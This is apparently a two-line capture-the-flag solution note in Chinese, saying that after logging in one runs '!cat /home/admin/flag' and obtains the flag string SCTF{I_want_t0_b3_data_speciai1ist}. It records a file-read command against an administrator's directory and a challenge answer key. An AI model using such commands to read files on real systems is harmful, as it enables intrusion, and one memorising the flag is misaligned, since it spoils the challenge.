登入之後 !cat /home/admin/flag
拿 flag: SCTF{I_want_t0_b3_data_speciai1ist}